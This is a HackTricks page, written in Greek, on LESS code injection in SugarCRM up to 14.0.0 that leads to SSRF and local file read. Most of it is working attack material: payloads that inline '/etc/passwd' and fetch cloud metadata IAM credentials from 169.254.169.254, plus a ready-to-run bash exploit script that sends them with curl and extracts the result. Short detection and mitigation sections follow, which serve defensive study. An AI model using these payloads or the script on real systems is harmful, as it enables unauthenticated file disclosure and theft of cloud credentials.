LESS Code Injection leading to SSRF & Local File Read

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή οδηγία @import. Κατά τη διάρκεια της μεταγλώττισης, η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει ("inline") το περιεχόμενό τους στο παραγόμενο CSS όταν χρησιμοποιείται η επιλογή (inline).

Όταν μια εφαρμογή συνδυάζει είσοδο που ελέγχεται από τον χρήστη σε μια συμβολοσειρά που αναλύεται αργότερα από τον μεταγλωττιστή LESS, ένας επιτιθέμενος μπορεί να εισάγει αυθαίρετο κώδικα LESS. Εκμεταλλευόμενος το @import (inline), ο επιτιθέμενος μπορεί να αναγκάσει τον διακομιστή να ανακτήσει:

  • Τοπικά αρχεία μέσω του πρωτοκόλλου file:// (αποκάλυψη πληροφοριών / Τοπική Συμπερίληψη Αρχείων).
  • Απομακρυσμένους πόρους σε εσωτερικά δίκτυα ή υπηρεσίες μεταδεδομένων cloud (SSRF).

Αυτή η τεχνική έχει παρατηρηθεί σε πραγματικά προϊόντα όπως το SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).

Εκμετάλλευση

  1. Εντοπίστε μια παράμετρο που είναι άμεσα ενσωματωμένη μέσα σε μια συμβολοσειρά στυλ που επεξεργάζεται η μηχανή LESS (π.χ. ?lm= στο SugarCRM).
  2. Κλείστε τη τρέχουσα δήλωση και εισάγετε νέες οδηγίες. Οι πιο κοινές πρωτογενείς είναι:
  • ; – τερματίζει την προηγούμενη δήλωση.
  • } – κλείνει το προηγούμενο μπλοκ (αν απαιτείται).
  1. Χρησιμοποιήστε @import (inline) '<URL>'; για να διαβάσετε αυθαίρετους πόρους.
  2. Προαιρετικά, εισάγετε μια σημείωση (data: URI) μετά την εισαγωγή για να διευκολύνετε την εξαγωγή του περιεχομένου που ανακτήθηκε από το μεταγλωττισμένο CSS.

Τοπική Ανάγνωση Αρχείων

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Το περιεχόμενο του /etc/passwd θα εμφανιστεί στην HTTP απόκριση ακριβώς πριν από τον δείκτη @@END@@.

SSRF – Cloud Metadata

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Αυτοματοποιημένο PoC (παράδειγμα SugarCRM)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Ανίχνευση

  • Αναζητήστε δυναμικά παραγόμενες απαντήσεις .less ή .css που περιέχουν μη καθαρισμένες παραμέτρους ερωτήματος.
  • Κατά την ανασκόπηση του κώδικα, αναζητήστε κατασκευές όπως "@media all { .preview { ... ${userInput} ... } }" που περνιούνται σε συναρτήσεις απόδοσης LESS.
  • Οι απόπειρες εκμετάλλευσης συχνά περιλαμβάνουν @import, (inline), file://, http://169.254.169.254, κ.λπ.

Μετριασμοί

  • Μην περνάτε μη αξιόπιστα δεδομένα στον μεταγλωττιστή LESS.
  • Εάν απαιτούνται δυναμικές τιμές, καθαρίστε/αποστειρώστε τις σωστά (π.χ., περιορίστε σε αριθμητικά tokens, λευκές λίστες).
  • Απενεργοποιήστε, όταν είναι δυνατόν, τη δυνατότητα χρήσης (inline) εισαγωγών ή περιορίστε τα επιτρεπόμενα πρωτόκολλα σε https.
  • Διατηρήστε τις εξαρτήσεις ενημερωμένες – η SugarCRM διόρθωσε αυτό το ζήτημα στις εκδόσεις 13.0.4 και 14.0.1.

Πραγματικές Περιπτώσεις

ΠροϊόνΕυάλωτο EndpointΕπιπτώσεις
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Μη αυθεντικοποιημένο SSRF & ανάγνωση τοπικών αρχείων

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks